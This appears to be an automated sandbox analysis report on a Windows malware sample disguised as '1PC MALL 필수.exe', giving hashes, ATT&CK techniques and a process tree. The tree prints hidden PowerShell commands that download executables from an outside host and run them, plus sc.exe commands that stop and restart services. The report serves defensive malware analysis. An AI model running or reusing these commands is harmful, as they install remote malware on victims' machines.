66cb383447ad509436c595cb44f73f555b4494d701c2241d61d8004d05a2fce3

Analysis

max time kernel
150s
max time network
111s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 11:48

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General

Target
1PC MALL 필수.exe
Size 559KB
Sample260717-nyefssh14l
SHA256 66cb383447ad509436c595cb44f73f555b4494d701c2241d61d8004d05a2fce3
MD5 8513176f0f447327f32a96cb0ac38887
SHA1 7885d422ce32970a189e64f409104c79a7becf12
SHA512 dc6a6053ef5dedcc2614f803d23b236f112cc434c1e58f4f9c34d042fa4fbb6509ba185963e6123df2da0875184561675dc891153b092b2a41b65a615eeeaad0
SSDEEP 6144:uVKsaSQ/A7HjjQUvRWcYqsDCwNwjTMwCsyNfMkZdpRIKILIftrWElzwEWRenCUMh:BjYrjjQ4kqiZPZNf2LO6ERvWRen/M
TLSH
T1D3C49F5AE6A406F8E077D078CA534913FB72B8460371AADB07D089671F176E19F3EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe
5228	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1800	sc.exe
5520	sc.exe
364	sc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5228	powershell.exe
5228	powershell.exe
5064	powershell.exe
5064	powershell.exe
5064	powershell.exe
5228	powershell.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe
4168	1PC MALL 필수.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5228	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4168 wrote to memory of 6088	4168	1PC MALL 필수.exe	91
PID 6088 wrote to memory of 4328	6088	cmd.exe	92
PID 4168 wrote to memory of 2256	4168	1PC MALL 필수.exe	94
PID 2256 wrote to memory of 5584	2256	cmd.exe	95
PID 4328 wrote to memory of 5064	4328	cmd.exe	97
PID 5584 wrote to memory of 5228	5584	cmd.exe	98
PID 4168 wrote to memory of 412	4168	1PC MALL 필수.exe	99
PID 412 wrote to memory of 364	412	cmd.exe	100
PID 4168 wrote to memory of 600	4168	1PC MALL 필수.exe	101
PID 600 wrote to memory of 1800	600	cmd.exe	102
PID 4168 wrote to memory of 5972	4168	1PC MALL 필수.exe	103
PID 5972 wrote to memory of 5520	5972	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\1PC MALL 필수.exe
"C:\Users\Admin\AppData\Local\Temp\1PC MALL 필수.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start vgk >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\system32\sc.exe
    sc start vgk
    3⤵
    - Launches sc.exe
    PID:364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop vgc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\system32\sc.exe
    sc stop vgc
    3⤵
    - Launches sc.exe
    PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start vgc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\system32\sc.exe
    sc start vgc
    3⤵
    - Launches sc.exe
    PID:5520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
MD5 f1917b1b23b33e605ce112b38870e0e2
SHA1 b659300a2f39c4c1c6958469e6a0ffd057986fe5
SHA512 622b483cda982fd7500c70ab15bb17597ede8f61013781d574bf6e2d036ad6acda1697813d03e3615964f99b5a9d3e06e9948a221526b5a1af0af758ab7dfe89
TLSH
T198215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5064-17-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-19-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-10-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-11-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-12-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-13-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-14-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-15-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-16-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-0-0x00007FF98B9FF000-0x00007FF98BA00000-memory.dmp

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memory/5064-7-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-20-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-18-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-21-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-30-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5064-27-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5228-25-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5228-26-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5228-23-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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memory/5228-6-0x00000187E0230000-0x00000187E0252000-memory.dmp

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memory/5228-22-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

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